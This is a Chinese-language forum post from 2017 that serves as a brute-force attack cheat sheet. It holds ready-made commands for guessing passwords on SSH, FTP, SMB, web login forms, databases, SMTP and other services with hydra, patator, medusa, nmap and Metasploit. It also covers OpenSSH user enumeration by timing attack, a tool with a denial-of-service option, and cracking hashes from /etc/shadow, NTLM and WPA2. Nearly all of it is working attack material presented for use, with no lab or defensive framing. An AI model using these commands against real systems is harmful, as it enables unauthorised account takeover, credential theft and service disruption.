pgup12 发表于 2017-7-9 06:19:58

暴力破解


  SMB:
  enum -D -u administrator -f passwords.txt 服务器名
  FTP:
  medusa -H ip.txt -U user.txt -P passwd.txt -M ftp
  hydra -l 用户名 -P 密码字典 -e ns -vV IP ftp
  hydra -L user.txt -P pass.txt -F ftp://127.0.0.1:21
  破解ssh
hydra -L user.txt -P pass.txt -F ssh://127.0.0.1:22
patator ssh_login host=127.0.0.1 user=root password=FILE0 0=pass.txt -x ignore:mesg='Authentication failed.'
  hydra



破解http-proxy:
# hydra -l admin -P pass.txt http-proxy://10.36.16.18

破解imap:
# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
# hydra -C defaults.txt -6 imap://:143/PLAIN

破解cisco:
# hydra -P pass.txt 10.36.16.18 cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
破解https:
# hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
破解teamspeak:
# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
破解smb
# hydra -L user.txt -P pass.txt -F smb://127.0.0.1

  破解MSSQL
 hydra -L user.txt -P pass.txt -F mssql://127.0.0.1:1433
  破解HTTP基础认证
 # hydra -L user.txt -P pass.txt -F http://127.0.0.1:2048/auth

Web表单登录破解
get方式提交,破解web登录:
  # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
  # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
post方式提交,破解web登录(不支持验证码)
  hydra -l admin -P pass.lst -o ok.lst -t 1 -f IP http-post-form "/index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>"
  说明:用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,
  -f 是当破解了一个密码就停止,ip就是目标ip
  http-post-form表示破解是采用http 的post 方式提交的表单密码破解。
  后面参数是网页中对应的表单字段的name 属性,后面<title>中的内容是表示错误猜解的返回信息提示,可以自定义   
  针对 OpenSSH 用户进行枚举时序攻击



注:枚举时序攻击(“Enumeration Timing Attack”)属于侧信道攻击/旁路攻击(Side Channel Attack),
侧信道攻击是指利用信道外的信息,比如加解密的速度/加解密时芯片引脚的电压/密文传输的流量和途径等进行攻击的方式,一个词形容就是“旁敲侧击”。–

osueta 是一个用于对 OpenSSH 进行时序攻击的 python2 脚本,其可以利用时序攻击枚举 OpenSSH 用户名,并在一定条件下可以对 OpenSSH 服务器进行 DOS 攻击。
# https://github.com/c0r3dump3d/osueta
$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
$ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt
  破解


  nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.1.4   破解rsync
nmap --script informix-brute -p 9088 192.168.1.4    informix数据库破解
nmap -p 5432 --script pgsql-brute 192.168.1.4      pgsql破解
nmap -sU --script snmp-brute 192.168.1.4        snmp破解
nmap -sV --script=telnet-brute 192.168.1.4      telnet破解
  枚举 Samba
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target
  枚举 SNMP
snmpget -v 1 -c public IP
snmpwalk -v 1 -c public IP
snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP
  # SMTP爆破 (patator)



$ patator smtp_login host=192.168.1.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst
$ patator smtp_login host=192.168.1.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.1.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.1.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst &shy;x ignore:fgrep='incorrect password or account name'
  MD5破解   (例:md5.txt文件,没有salt的MD5哈希)
  john -format=raw-md5 -pot=./wordlist.potmd5.txt
  john -format=raw-md5-opencl-wordlist=wordlist.lst-rules:Singlemd5.txt   (利用GPU加快破解)
  Hash破解
  hashcat -m 400 -a 0 hash /root/rockyou.txt破解hash
  破解linux密码



john --wordlist=password.lst "/etc/shadow"#字典模式
john –single "/etc/shadow" #Single模式根据用户名产生变化来进行猜解
john -i:Digits -user:test1 user1#遍历模式,使用组合密码的所有可能情况
参数:
  ALL(0到8个字符长的所有字符组合) Alpha(1到8个字符长的所有字母组合)
  Digits(1到8个字符长的所有数字组合) Alnum(1到8个字符长的所有字母/数字组合)
john -show hashes忘记密码时可使用类似命令查看已破解的密码
john --restore hashes   在原来的基础上继续破解(破解结果出现问号时)
  ZIP密码破解:



(1)fcrackzip爆破 :fcrackzip -b -l 4-4 -u 1D7.zip -v -c 1
(其中,-b爆破,-l说明密码长度,-u是文件,-v是详细输出,-c是密码字典类型)
  oclHashcat
  无论是MD5,MSSQL,SHA1还是其他哈希,破解命令都是一条,-m设定哈希类型



破解WPAv2哈希
cudaHashcat-plus64.exe -m 2500 out.hccap
破解NTLM哈希
cudaHashcat-plus64.exe -m 1000 NTLM.txt path/wordlist.txt
  Metasploit中的一些爆破模块



auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
页: [1]
查看完整版本: 暴力破解